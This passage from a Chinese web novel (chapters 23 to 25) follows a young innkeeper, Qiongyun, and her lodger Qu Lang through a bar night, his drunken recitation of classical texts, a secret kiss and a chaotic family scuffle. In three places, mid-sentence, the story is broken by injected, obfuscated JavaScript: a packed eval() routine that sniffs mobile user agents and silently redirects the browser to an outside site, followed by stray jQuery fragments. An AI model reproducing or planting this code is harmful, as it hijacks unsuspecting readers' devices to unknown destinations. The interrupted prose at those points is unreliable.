气味狂野之男子也完全视屈朗为空气,他瞥了眼琼云手边的酒,洛克杯、红琥珀色酒体、螺旋状橙皮点缀,以老到的经验迅速做出判断:“是Negroni吧?这酒挺烈的,这里的调酒师都默认Gin-Forward,也就是two parts Gin,剩下的Campari and Vermouth Rosso都是one part,相比equal parts更苦,也更烈,你第一次来酒吧就点Negroni,很出人意料,普通女生都喜欢喝甜一点的。”语罢,他潇洒地提起正在缓慢溶解冰球的威士忌浅酌一口,扬起下巴,使滚动吞落酒水的性感喉结更明显地展露在琼云面前。 好松弛,好志在必得,此人的装逼水平远在他之上——屈朗溜了。 琼云望着屈朗离去的背影,表面不动声色,内心鬼火直冒——这怂包竟然就这么走了!?这是当喜欢的女生被其他异性搭讪时应该表现出的态度吗?!什么东西!? 屈朗径直去找管悠,琼云看到他俩交头接耳地谈论了一番,片刻之后,屈朗似乎向管悠学习到了一些非常宝贵而且有效的经验,从卡座起身,再次向琼云走来,身上毫无刚才离开时的那股狼狈和消沉,取而代之的是小说绝对男主角的自信与坦然。 琼云内心有点小激动——这笨蛋终于开窍了,偶像剧男主吃醋发疯的名场面也会降临在自己身上吗?但会不会有一点尴尬啊?好紧张。 屈朗越走越近,琼云的心也跟着越跳越快,他没有丝毫犹豫,再次来到两人跟前,将双手撑在桌子上,整个人的气压非常低,像暴风雨前闷热湿重的空气,抓了一把洋葱圈,走了。 这洋葱圈有这么好吃吗? 琼云一整个大无语。 但屈朗并没有走远,只是坐到距离两人最近的一个空位上,往嘴里叼了片洋葱圈,一边缓慢咀嚼,一边看电影般注视着两人,他咀嚼的动作仿佛一头羊驼。 管悠是这么安慰他的:“你喜欢的女生被其他人搭讪这说明什么?说明你有眼光啊,你俩现在名不正言不顺的,又不是正式男女朋友,她愿意和别的男生接触,和你又有什么关系呢?何况你刚才被别的女生搭讪也没拒绝,凭什么要求她拒绝别的男生?做人不能太双标,这样很下头,她会讨厌你的。” 屈朗觉得很有道理,虽然有点不爽,但还是很有道理。 然后管悠出于对琼云的担忧又提醒道:“那男的一看就是情场老手,琼云年纪小,感情经历也少,你去旁边盯着,别让琼云被海王骗走。” 于是屈朗就来了,肩负护花使者的崇高使命。 “你很在意他,但他好像是个笨蛋。”气味狂野之男子心思亦敏锐异常,低声对琼云说道。 琼云被看穿,登时正襟危坐。 于是气味狂野之男子起身将凳子搬到了琼云身边坐下,以宽大的背影挡住屈朗的视野,再次使用他那低沉性感的气泡音在琼云耳边轻声说道:“你不想被他听到,就告诉我吧,我只是个与你萍水相逢的陌生人,今晚过后或许就永不再见,你可以把我当做他的替身,什么都可以向我倾诉,我可以拥有这份荣幸吗?” 假装安慰遭遇情感困境的女生然后趁虚而入吗? 琼云心中暗暗惊叹,这能驰骋情场的海王果然都有些个手段,可惜她不吃这一套。 “你俩靠太近了。”屈朗不知何时站到了两人身后,作出重要指示,冷不丁唤起了琼云学生时代对班主任神出鬼没的恐惧,被吓得一激灵。 “她性格比较内向,不喜欢不熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314706|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人靠她太近。”屈朗继续作出指示。 气味狂野之男子邪魅一笑:“你怎么知道她不喜欢,你很了解她吗?” “我认识她比你久,当然比你了解。” “恐怕不尽然。” “你坐回去。”屈朗用一种赶蚊虫的手势驱赶他,“你俩面对面不能聊吗?” “你坐回去吧。”琼云给个台阶下。 气味狂野之男子坐回去了,屈朗看着也顺眼了,薅了把鱿鱼丝,也回到自己的座位上。 琼云把话题岔开,继续与气味狂野之男子唠嗑,屈朗一会儿来薅把洋葱圈,一会儿来薅把鱿鱼丝,很快,两碟小零食就都被他完成了光盘行动,吃完了,他也就不再时常过来打扰。 但琼云被薅得产生了戒断反应,许久不见屈朗再过来,就自己扭头去看。 这一看不得了,屈朗正趴在桌子上睡大觉,喝空的马天尼杯子被他推到桌沿,摇摇欲坠,他的身体仍不安分,好几下都打向杯子所在的方位,琼云立刻跑过去,在千钧一发之际将杯子救回,然后推搡屈朗的胳膊,呼唤他。 他的身体摸起来滚烫,脸也通红,被搡得哼哼唧唧叫了几声,抬起头来,满脸泪痕,在灯光照耀下闪闪发光,整个人呈现出一种刚睡醒的懵懂状态。 “要回去了么?”他黏黏糊糊地问。 “嗯,回去吧,你喝多了。”琼云拍拍他的脸。 “你怎么跟他聊了那么久,你很喜欢他吗?” 琼云的良心受到了谴责,明明自己也喜欢他,为什么不告诉他,还要和别的异性合起伙来欺负他呢?可是他又为什么那么倔,告白被拒也不立刻回家去,这让她很难办啊。 “对不起。”于是她向他道歉。 “对不起什么?”泪水瞬间充盈屈朗的双眼,大颗大颗溢出眼眶,沿着脸颊滑落下来,他撑着桌子站起身,摇摇晃晃离开座位,立时跌到,双膝砸向地面。 琼云惊呼了一声,赶紧去扶,气味狂野之男子见状也赶过来帮忙,两人一人扛一边,只听屈朗口中念念有词,由轻到重,从缓至急:“永和九年,岁在癸丑,暮春之初,会于会稽山阴之兰亭,修禊事也……” 琼云心想,“苦难是文学的温床”这话果真不假,这一失恋一受伤一难过的,个个都变成大诗人大作家,但她仔细听下去,越听越觉得熟悉,从脑海深处搜索关键词,咔的一声清脆地跳出大段与之相关的记忆…… 这不是《兰亭集序》吗? 屈朗越背越激动,越背越快:“是日也,天朗气清!惠风和畅!仰观宇宙之大!俯察品类之盛!所以游目骋怀,足以极视听之娱,信可乐也!” “学校里搞活动,你上去表演过诗朗诵吗?这念得抑↘扬↗顿→挫↘的。”琼云与气味狂野之男子合力将屈朗扛回座位上,使劲时说话发音跟着高低起伏,“你在这里坐着,我去找管悠,然后我们就回去,别乱动,听到了吗?” “虽趣舍万殊,静躁不同,当其欣于所遇,暂得于己,快然自足,不知老之将至!” “……”看来已经完全沉浸在自己的世界里了。 琼云和气味狂野之男子道了谢,又告了别,转身去找管悠,可她放心不下屈朗,于是三步一回头。 屈朗侧对着舞台,身体大部分隐没在背光的阴影里,橘色或蓝色的柔光如同在他身后弥漫着的雾气,浓淡错落地勾勒出他的五官和轮廓,他字正腔圆地将《兰亭集序》继续背诵下去:“向之所欣,俯仰之间,已为陈迹,犹不能不以之兴怀,况修短随化,终期于尽!古人云:‘死生亦大矣。’岂不痛哉!” 23.第 23 章 屈朗背完《兰亭集序》背《阿房宫赋》,等琼云和管悠把他塞进车里,他又背起了数理化公式,一边哭一边背,一边背一边哭。 司机听着这鬼动静开出去好长一段路,才琢磨过来味:“没考好,哭成这样?” 琼云也才反应过来:“出分数了吗?” “昨天就出了,我女儿也是今年高考。” 坐在副驾的管悠扭过头,以过来人的经验安慰屈朗:“没考好也没关系,这都小事,反正考没考好最后都是要给老板当牛做马的,咱们又不是天才,也没有出身豪门,大部分人都只是这个社会的一颗螺丝钉而已。” 琼云拿纸巾给屈朗擦眼泪,一边擦一边轻声问他:“昨天出分数怎么没听你提起过?” 屈朗暂停背诵化学方程式,喘不过气来似的说道:“没,出,明天,出。” 司机疑惑:“我只知道填志愿要按成绩好坏分批次,没听说公布分数也要这么分批次。” 琼云解释道:“他不是本地人,每个省份出分时间不一样。” 屈朗突然剧烈喘息起来,这是暴雨前处于酝酿阶段的狂风,紧接着他就开始大哭:“没上一本线,我妈会坐火箭过来打死我的,我不要复读,啊——” 这一哭,琼云心中的罪恶感倒顿时消减了一大半,原来他不是被她欺负哭的,而是被即将揭晓的高考分数和必然紧跟而来的层层压力给吓哭的。 “噗嗤。”管悠冷不丁被逗笑,“你妈是马斯克,还坐火箭飞过来打你。” 司机啧了一声,一边摇头一边感慨道:“嗐,现在的小孩读书压力都太大了,没考好就要挨骂挨打,我觉得没必要呀,小孩多少智商多少能力都摆在那里,都是父母生出来的,打有什么用,我就从来不给我女儿压力,她能考675我觉得挺好的,够了,我也不要求她一定要上清华北大。” “……” 在炫耀什么? 琼云和管悠纷纷用鄙夷的目光看向司机。 屈朗被这分数一刺激,哭得更大声了。 管悠掏出手机查了本地的分数线,蔫坏地问道:“文科还是理科啊?这个分数应该能上清北了。” “理科。”司机骄傲地说道,“我女儿自己选的,一般的女孩子不擅长理科,我女儿不一样,从小到大,她身边的男孩子都比不上她。” “哎~”管悠刻意叹息道:“那就差一点,可惜,好的专业是选不上了,不好的也够呛。” 司机沉默了一会儿,找补道:“反正985肯定没问题,好的专业比好的学校更重要。” 屈朗的眼泪流个不停,琼云干脆把纸巾贴在他脸上,但手帕纸巾太大,挂下来完全捂住了口鼻,不便呼吸,纸巾还容易被呼吸吹掉,于是她把纸巾撕成两半,一边脸颊贴一片,这样就导致两片纸巾很像动漫里夸张的“瀑布泪”。 琼云察觉到这一点后,立刻笑得前仰后翻。 管悠被琼云的笑声吸引,转过头去看,正欲批评她幸灾乐祸的行为,不料却迅速get到了她的笑点,夜晚车内的光线虽然昏暗,白色的事物和屈朗眼中的泪光却格外显眼,再被琼云的笑声一感染,她自己也忍不住放声大笑起来。 “你们笑什么?”屈朗可怜兮兮地抱怨道。 “没什么。”琼云笑得满眼泪光,肚子也有些痛,她看到屈朗的人中亮晶晶的,于是抽出一张新的纸巾递给他,“你自己擦一下吧,眼泪从鼻子里流出来了。” 屈朗接过纸巾,擤了一把鼻涕,将脸颊上的两片“瀑布泪”摘掉,抽噎着说:“如果,没考好,我爸妈,要求我复读,的话……那我就,真的要,马上回去了。” 琼云的笑容瞬间僵住,僵得难受,于是她揉了揉脸上的肌肉,看向窗外,同时心中不停默念:这是好事,这是好事,这是好事…… “我是不是在你家住了快一个月了?”管悠突然问道。 琼云看着窗外不断飞驰而过不作任何停留的城市夜景,嗯了一声。 “一个月时间到了我就走,不续了。” “哦。” 这是件好事,也是件值得开心的事,暑假的房间价格会大涨,他们两个占便宜的长租客走了,就能赚到更多的钱,琼云早就这么期盼过,但现在即将实现了,琼云却一点儿也不觉得开心,眼眶中由笑声积攒的泪花在此刻,因为叠加了另一种截然不同的情绪而无声地滑落下来。 她迅速用手指揩掉,酒精会放大人的情绪罢了,生离死别她都经历过了,这又算得了什么。 在她模糊的余光之中,管悠因被座椅遮挡而残缺的背影逐渐颤抖起来,很快发出啜泣声。 “你又哭什么?”最先发现管悠在哭的人是司机。 “我想我前男友。” “失恋了啊,一个失恋,一个快出高考分数压力大,难怪都去借酒浇愁。” 琼云被管悠的哭声打断情绪,坐正来,心想人的感情真是复杂,付出真心被辜负,选择报仇雪恨后竟然还会怀念对方。 “琼云。”管悠泪莹莹的脸从前排两张座椅中间探出来。 “嗯?” “你说我现在去找我前男友复合,他会同意吗?” “什么!?”琼云大惊失色,身体猛地往前扑。 发现对方犯了原则性错误,选择立刻切断关系甚至报复回去的人怎么会因为喝了点酒就头昏到这种地步?! “你有没有搞错?他让你被小三了,你还想跟他复合?” 管悠瞬间垮下脸,冷酷地道:“你在说谁?那叫案底,不叫前男友。” “哦,吓我一跳。”琼云的后背贴回座椅,开始回忆管悠刚来时向她透露过的关于她与她前男友的信息,“你不是说是你提的分手吗?” 提起这个,管悠就来气:“我没想跟他分手!是他工作太忙了没时间陪我,我跟他提分手只是想让他哄我一下,结果这个死直男竟然就同意了!就跟我说了声哦,哦,哦他个头!” 难怪会被“温柔体贴”的阿源所蒙骗。 琼云嗤笑了一声。 司机作为男人代入管悠的前男友,打抱不平:“你们女人也真是,不想分手为啥要提分手,就不能好好说话?你跟他说让他多陪陪你,他不就懂了。” 管悠更火大:“关你屁事!再插嘴给你打差评,开你的车去!” 司机连忙道歉:“对不起对不起,不要给我打差评,我车环境还不错吧,收拾得很干净,空气也很清新,我女儿马上要上大学了,我得多挣点钱,真的不好意思,我就是嘴贱。”说完左手离开方向盘打了自己两嘴巴。 “闭嘴。” 司机闭嘴了。 琼云开口:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320057|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟你前男友谁追的谁啊?” “我追的他。” “那他对你好吗?除了语言上。” “他那张嘴一说话就气死人!”管悠沉默了一会儿,然后带着哭腔改口道:“但他其实对我挺好的……”说完就捂住脸哭了起来。 “说明他只是不善于表达,”琼云转头看向屈朗,他没有在哭,只是闭着眼把头靠在车窗上,从窗外打进来的光带着各种形状的阴影在他脸上不停变换着,“不是不喜欢你。” 坐了近半小时的车,屈朗仍未醒酒,走路还是打晃,而车又只能停在古城外,于是琼云和管悠一人一边扛着他负重前行,屈朗的身材很匀称,并不在瘦的范畴内,身高又在那里,少说有一百四十斤以上,等把他搬到床上,两人晚饭时摄入的热量都被消耗完了。 管悠经此一役感受到了岁月的无情,放下屈朗后站直来,整个人腰酸背疼,忍不住给自己做起了按摩,一边转脑袋一边手作木锤捶打后腰。 琼云很体谅这位上了年纪的姐姐:“你回去休息吧,剩下的我来就行。” 管悠换动作开始捶打肩背,“那你小心点,他喜欢你,别让他趁喝醉吃你豆腐。” 琼云笑着摇头:“他不是那样的人,他顶多继续背方程式。” 同时心中暗忖,谁吃谁的豆腐还说不定呢,毕竟她才是清醒的那一方。 等管悠离开,琼云下楼去从冰箱里拎了罐酸角汁,顺便拆了盒牛奶的吸管插进去,然后回到屈朗的房间,扶着他靠到床头,把吸管塞进他嘴里。 “喝。”琼云命令他。 屈朗察觉到嘴巴里被塞进一个东西,但只是用牙齿咬了咬。 吸管是透明的,酸角汁的颜色是类似咖啡的深褐色,如果他喝了,可以很清楚地看出来,但吸管始终是透明的。 琼云觉得可能是因为刚才使用的词汇不够准确,于是改口说:“吸,这是吸管,像你小时候吸你妈的奶那样吸,明白吗?” 吮吸是人与生俱来的本能,琼云刚说完,就看到深褐色的酸角汁从吸管内部慢慢升了上来。 但很快深褐色的液体就在一瞬间掉了下去,吸管恢复透明,屈朗整张脸都皱起来,他咂了咂嘴,问道:“酸的,什么东西?” “喝了让你明天早上起来不会头痛的东西,继续吸。”琼云把吸管重新塞进他嘴里。 屈朗很听话,继续吸了,喝了约莫有小半罐,琼云觉得差不多了,就把吸管从他嘴里抽出来,将酸角汁放到一边,然后塞一只枕头在他怀里让他抱着,扶着他侧躺下,将被子打横,一半盖在他身上,另一半卷起来垫在他背后,以防他半夜翻身躺倒,万一呕吐起来呛进气管。 处理完,琼云觉得被子盖得太低,怕他着凉,于是单膝跪到床上,俯身撑在他上方,将被子掖到他肩膀以上。 屈朗似乎已经睡着了,脸颊红扑扑的,只有胸腔在起伏,琼云现在才发现,他喝多了脸红竟然不是红整张脸,而是只红脸颊,就像打了腮红似的。 真可爱,想亲一口。 琼云心里这样想,也真的这样做了,嘴唇印到他脸颊上……然后她发现他的眼睛睁开了,漆黑的眼珠迅速滑动向眼角。 琼云愣了一下,等反应过来顿时被吓得连滚带爬,一屁股摔到地上。 她觉得自己的一世英名都毁了。 24.第 24 章 “你皮肤那么烫,我还以为你发烧了呢哈哈。”琼云尬笑了两声,戛然而止,隐约听到窗外有乌鸦在叫。 他皮肤发烫是因为喝多了,她在胡说八道什么? 但琼云选择继续胡说八道下去,一边胡说八道一边哆哆嗦嗦地从地上爬起来:“人的嘴唇作为摄入食物的第一层关卡,必然对温度的感知非常敏锐,防止过热或过冷的食物损伤口腔和食道,你看你我泡普洱给你喝,你要先用嘴唇去试温度对吧,你小时候感冒发烧,你爸妈亲你的脸给你测体温这种经历肯定也有过吧。” 在这么长一段有理有据的胡言乱语中,屈朗没有丝毫起身的迹象。但琼云心虚得好像刚杀了个人,必须返回案发现场查漏补缺,她悄摸挪到床沿,再次单膝跪上去,俯身撑在受害者上方。 受害者的眼睛是完全闭合的,琼云用指尖戳了戳他的脸,没动静,又扒了扒他的眼皮,发现黑眼珠是朝上翻的,这说明他已经睡着了。 难道刚才看错了吗? 不过就算看到了又怎样,喝到这种站都站不稳的断片状态,明天早上一起来,这段记忆就什么都不剩了。 多大点事,吓成这样,琼云自嘲地笑了两声,很嚣张地又戳了两下受害者的脸,用气音说道:“手指尖的神经末梢也很密集。” 然后悄摸从床上下来,迅速返回自己的房间,洗了个澡扑到床上,吓得天快亮的时候才睡着。紧绷的神经和稳定的生物钟促使她睡了不到两小时就起来了,顶着一双黑眼圈和猩红的眼睛开启崭新一天的工作。 这崭新的一天带着昨夜和凌晨就密布在天空的阴云。 “今天会下雨吗?”当琼云完成琐碎的家务活,坐在工作室里刨了半小时木屑后,屈朗嘬着昨晚剩下的半罐酸角汁走到她身旁问道。 “你这么早就醒了?”琼云心虚地放下雕刻刀,以免在接下来的复核环节发现一些出人意料的错误和漏缺,推翻原有的认定结果,导致手头这件完成过半的作品毁于一旦。 “已经十点过了。”屈朗看了眼手机再次确认。 “过夜就别喝了。” 屈朗使劲嘬了两口,发出尖利的啸声,棕色液体明显匮缺,不足以充盈吸管,他把嚼扁的吸管吐出来,说:“我已经喝完了,感觉没坏。” “但可能会有虫子掉进去啊。” 屈朗呛得咳嗽了一声,低头凝视拉环口内黑洞洞的深渊。 “补充蛋白质。”琼云撇开话题,上下扫视他的身体,“你洗澡了?” “嗯。”屈朗明显换了身衣服,浑身上下散发着洗发水和沐浴露的清香。 “头不痛吗?敢洗澡。” “还好啊,就有点晕,跟没睡醒的感觉差不多,可能这个酸角汁确实有用。”屈朗转动易拉罐,让“酸角汁”三个大字面向自己,等再次看向琼云,发现琼云的眼睛瞪得像见了鬼一样。 琼云的手开始发抖,摁到大腿上,顺着裤子的褶皱擦到膝盖,没睡醒的眩晕感越发明显,“喝醉以后的事,你还记得多少?” 屈朗仰头看着天花板回忆,抬起膝盖揉了揉:“……我是不是摔地上了?洗澡的时候发现膝盖上有淤青……” “然后呢?” “你昨天晚上给我喝这个。”屈朗晃了晃空荡荡的易拉罐,吸管在里面吧嗒吧嗒地跳,“我看到这个,喝了口就想起来了,酸的。”他说到“酸的”两个字就笑起来,笑得可谓天真无邪。 琼云弯下腰,“邦”的一声把额头磕到桌子上,她昨晚查漏补缺了个什么玩意儿,竟然把这么重要的线索留在作案现场,紧接着她的脑子里唰的一下蹦出管悠在调酒师调屈朗那杯马天尼前说过的一句话:“他第一次喝酒,你把比例换一下,度数调低点。” 马天尼的杯子那么小的一个漏斗形状,还没倒满,两口就能喝完的量,再调低酒精度数,哪里够把一个一米八几的大活人喝得完全断片!? “你怎么啦?”屈朗的额头和眉眼冷不丁从桌子底下探到琼云眼前,吓得琼云猛地把头抬起来,心如擂鼓呼吸急促,如噩梦初醒。 “没事。”她茫无目的地左顾右盼,慌不择路:“你不是说你今天出高考成绩吗?出了吗?” 屈朗眨了眨眼,恍然:“我昨天晚上跟你说这个了吗?” 怎么又提供线索帮他回忆上了?琼云掐住两颊,释怀地笑了。 “要下午,我妈让我填她的手机号,到时候直接发给她,你额头上……”屈朗指着琼云粘满木屑的额头,画了个圈,他现在处于清醒状态倒是表现得很冷静,一点也不怕没考好,被邹·马斯克·晓菲坐火箭飞过来打死。 “哦。”琼云把额头上的木屑扫掉,捡起雕刻刀,委婉地向他下逐客令:“你头晕就多休息,上去继续睡吧,饭做好了我给你端上去。” 屈朗摇头,“我要等下雨。” 琼云不解:“你上去在房间里也能等啊。” “你说要在端午节过后的第一场雨用雨水洗……”他指指自己左腕的五色绳和小粽子,又指向琼云的右腕,“我要跟你一起洗。” 琼云低头拨弄了一下右腕的小葫芦,想不出有什么理由拒绝他。 雨在正午时分来临,先是清脆的一点一滴,然后细细密密如柔韧的蛛网,等到雨水淋透院落,在每一片盛放的花瓣和石砖的凹陷处积起浅小的水洼,在屋檐下布置出晶莹剔透的珍珠门帘。 两人并肩站在堂屋外的走廊,将手腕上的五色绳摘下,摊在掌心,伸进雨瀑,掌心的触觉敏锐,被大颗大颗冰凉有力的雨水振得又痒又麻。 琼云揉搓手中的五色绳,使雨水淋透它的每一个缝隙,幸好这绳子质量还不错,没掉色,否则在这个浪漫的雨天做这种浪漫的事情,会浪漫得很尴尬。 “还有两个小时,我妈就会收到短信,决定我要不要回去复读。”屈朗学着琼云去揉搓自己的五色绳,一面看着一面说道。 琼云不知道说什么好,只是嗯了一声,肯定这个事实。 屈朗继续说道:“我昨天晚上是不是背了《兰亭集序》和《阿房宫赋》?还有各种数理化公式?” 琼云嗯不出来了,只是惶恐地看着他,简直把手里的五色绳当作泥巴来揉。 “你昨天晚上……” “你做梦!”琼云激烈地打断他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324936|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸涨得通红,红到耳朵根,漫延向脖子,但由于她的皮肤很白,呈现出一种通透的粉红色。 屈朗转头看向她,眉头略微蹙了蹙,意外冷静地继续说下去:“你昨天晚上亲我了。” 琼云完全呆住,以他平时表现出的活泼个性作对照,现在如此冷静地、面无表情地揭穿她,实在是太恐怖了,让她连诡辩的动力都完全丧失。 “你既然也喜欢我,为什么不答应和我交往?总得给我个答复吧?好让我做接下去的决定。”他镇静的眼神和平和的语气,令琼云心中那份倚仗年龄与阅历差异而生的优越感瞬间荡然无存。 琼云的胳膊举得很酸,她把五色绳从雨中收回,双手又像盘串似的盘着它,眼睛盯着自己的足尖,说道:“对不起。” “不用道歉。” 琼云抬起头来:“虽然我是女生,在那种情况下,我可能也不具备□□你的能力,但到底是趁人之危,虽然你是男生,好像一般人觉得男生在这种事情上不吃亏,但这也算是……” 屈朗成熟稳重了没多久,又被琼云说的奇怪话说得张开嘴巴,露出痴呆的表情来。 “猥亵。”琼云郑重地说出了这个词汇,然后仰头望着天空,向上帝忏悔:“太猥琐了。” “你是不是一直把我当白痴啊?!”——琼云的余光看到屈朗愤怒地向她甩下这句话,转身离开。 她在走廊上看着他上楼进到房间,片刻后又从楼上下来,肩上挎了相机包,手里拿着伞,沿着走廊走到头,启开门闩出去。 她追过去冲他喊道:“下雨天还要去出去?” 没有回应,她走到门外,望着他的背影在雨中匆忙地消失在拐角。 这场雨很快就停了,在傍晚前就停下,屈朗在天黑以后回来,琼云问他考得怎么样,他说不用复读。 隔天是大晴天,屈朗一早就挎着相机出门,也是在天黑以后才回来,他接下去每天都这样,连老关离开的那天,他也不多作停留。 老关离开的那天,是非常澄澈晴朗又平平无奇的一天,他在前一晚收拾好行李,隔天一早就与琼云和管悠告别。 琼云送老关到城门口,老关背着他的旅行背包,穿着和他来的那天一样的衣服,一切仿佛就和他来时一样。 琼云站在城门口,顶着灿烂的大太阳对他说道:“你来的第一天没告诉我上帝在第七天创造了什么,那天端午节第二天太匆忙,我也有句话没说完。” 老关只是看着她,不作任何打断,期待她把没说完的话说下去。 “我那时候说,人死后的鬼魂相较人生前,个性是不变的,甚至在死后会放大,懦弱胆小的不敢去报复害死自己的人,有仇必报的一定会把害死他们的人带走,自私自利是非不分的会去伤害无辜的人,还有……宽广的人会放下所有恩怨,得到真正的超脱。” 老关的眼睛被太阳晒得眯得更小,他眨了眨眼,问道:“你觉得我是个宽广的人?” 琼云笑:“你的诗很美,宽广得就像旷野像大海一样。” 老关弯起嘴角,点了点头,向琼云挥手:“再见。” “再见。” 25.第 25 章 屈朗的表哥出差过来做农产品对接,想顺道来看望他,屈朗问琼云是否同意他表哥“进门”,琼云表示可以,只要不是刚认识的不三不四的人,像管悠的案底那种,就没关系。 但这个答案显然还不足以消解屈朗心中的疑虑,甚至使他的眉头皱得更深了,他在工作室里徘徊了一会儿,找了个凳子坐到琼云身边,提示道:“你就没有什么问题想问我吗?” “没有。”琼云摇头,连看也不看他一眼,专心刨木屑。 “你觉得我表哥只是单纯、碰巧过来看我?” “不然呢?” “他大概率是被我妈派过来劝我回去的,觉得同辈人没有代沟,那样我的抵触情绪会小一点。” 听他这样说,琼云才转过头去看向他,然后如同管悠的前男友在听到管悠向他提出分手时那样,将千言万语凝练成一个“哦”字。 屈朗的反应也几乎和管悠如出一辙——“你就哦?”他瞪大眼睛不可置信地说。 “有问题?” 屈朗向她演示正确的做法:“你应该很舍不得我,问我真的要走吗。” 琼云蹙眉:“你好自恋。” “这不是自恋,这是人的正常情感,你既然喜欢我,当然会舍不得我走。”屈朗倾身靠近她,用直白的目光看着她,“你为什么要装作完全不在意呢?” 琼云感到既羞怯又惭愧,甚至有一丝嫉妒,整张脸都烧起来,立刻转到一边,避开他的视线。 屈朗继续说下去:“无论是什么原因,既然无法让你克制到不对我表现出任何一丝好感,不接受我送的礼物,不因为我理睬其他女生的搭讪而吃醋、生气,不在我喝醉的时候偷亲我,那就说明不是不可抗力。” 琼云绝望地闭上了双眼:“你报警吧,我去拘留所待几天。” “报什么警?”屈朗一时没反应过来,片刻后才明白琼云在说什么,哼哼傻笑了两声,忸怩地捂住被琼云亲过的左脸,说道:“我又没有不愿意。” “你要实在放不下,这样就好啦。”他快速朝琼云滚烫的右脸上亲了一下,“扯平了。” 琼云唰的一下就站起来,疯狂朝四周打量,顾不上桌面的木屑被掀飞,跟前的几把雕刻刀叮铃哐啷地滚落到地上。 “你爸出门了。”屈朗提醒道,他可没胆量在她爸面前对她动嘴动手的,但门窗敞着,到底心虚,也跟着朝四周打量了两眼,确认没人后,才壮起胆子继续说:“你怕被你爸看到?我送你的五色绳你一直戴着,我自己也戴着,你把你爸和你奶奶也当白痴吗?” 琼云生气地踢了他一脚,“你走开,别打扰我工作!你表哥要劝你回去,你就跟他走!”骂完自己却掉起眼泪来,转瞬之间就哭得上气不接下气。 把屈朗吓傻了,这剧情发展和他想象中的不一样,简直天差地别。 “琼,琼云。”他的小脑好像被琼云的眼泪给腌萎缩了,四肢十分不协调地从凳子上撑起身体,然后开始像人贩子一样扒拉琼云,他的本意是希望给琼云一个拥抱,他认为拥抱是最能给予人力量的,但琼云很抗拒他的靠近,于是画面逐渐演变成了两个人在自由搏击。 “哎呦!” 混乱中,琼云听到了奶奶的惊呼声,等她转头去看,奶奶已经跑向了楼梯下的储物间,那是用来放置卫生工具的地方,奶奶从中抄起一把大笤帚就冲过来,挥舞向屈朗,一边打一边骂臭流氓。 这使得混乱越发混乱了。 面对随时都可能散架的老太太,屈朗也不敢反抗,只能一边抱头鼠窜一边嘴上做解释,但老太太似乎根本听不懂他太过标准的普通话。 琼云一会儿抓笤帚一会儿拦奶奶,一时半会儿竟无法制止。老太太的战斗力是不容小觑的,恰恰因为老太太的战斗力总是被小觑,何况是一名热衷于在他人面前表演柔弱的装货老太太的战斗力。 “啊——” 屈朗突然发出一声尖叫,不是被打疼了,而是踩到琼云掉在地上的雕刻刀滑倒了,整个人直接仰摔出去,肩背部磕到桌角做了一个剧痛的缓冲,滚到地上,身体再无法灵活地做出闪避,以至于老太太打他打得更准了。细韧的茎秆抽打在他的皮肤上,掀起的灰尘和木屑灌进他的鼻腔,整个人仿佛从被烈日暴晒过的沙漠斜坡上滚下来一样,身上火辣辣地疼,还吃了一嘴风沙,把原本湿润的口腔鼻腔黏膜揩得干枯开裂。 “阿奶!”琼云最终选择从背后一把抱住奶奶,“你搞错喽!他没咋个我!他不是色鬼!” 奶奶不信,挣扎起来:“我没搞错!他老是色眯眯呢样子盯着你,他没咋个你,你哭哪样?” 屈朗听懂了“色眯眯”三个字,被冤枉,又挨打,心里有气,反驳道:“我哪里色眯眯地看了?我都光明正大地看!你孙女也喜欢我,我不能看吗?!我就看!” 这话无论是内容还是语气听起来都太嚣张了,老太太又一笤帚甩过去,但在琼云的阻碍下,屈朗躲开了这一次突袭。 琼云叱责道:“你别说话了!还嫌不够乱!?” “我被冤枉,你骂我?”屈朗又痛又委屈,面容扭曲得快哭出来,将地上的雕刻刀全部捡起放回桌子上,才艰难地从地上爬起来。 三个人闹出了很大的动静,原本尚在睡梦中的管悠被吵醒,裹着睡衣眯着眼,头发乱糟糟地就赶过来了,一进屋看到这副景象,眼睛唰的一下就亮了,心想终于赶上瓜的生长过程了,这一次,她要夺回自己吃瓜的权利,要吃最新鲜最中间最甜的那一口! “怎么回事啊这大早上的?哎呦老太太这干嘛呢?小心身体。” “挨千刀呢杂种!耍流子糟蹋我家囡囡!”奶奶又一笤帚挥出去。 管悠浮夸地“吼——”了一声,捂住嘴,乜斜着眼看向屈朗,兴奋中夹带着一丝猥琐。 “你什么眼神?” 管悠又用同样的眼神扫向琼云,却发现琼云的眼睛红彤彤的,满脸泪痕,顿时严肃起来,向屈朗质问道:“琼云怎么哭了?你给我解释一下。” 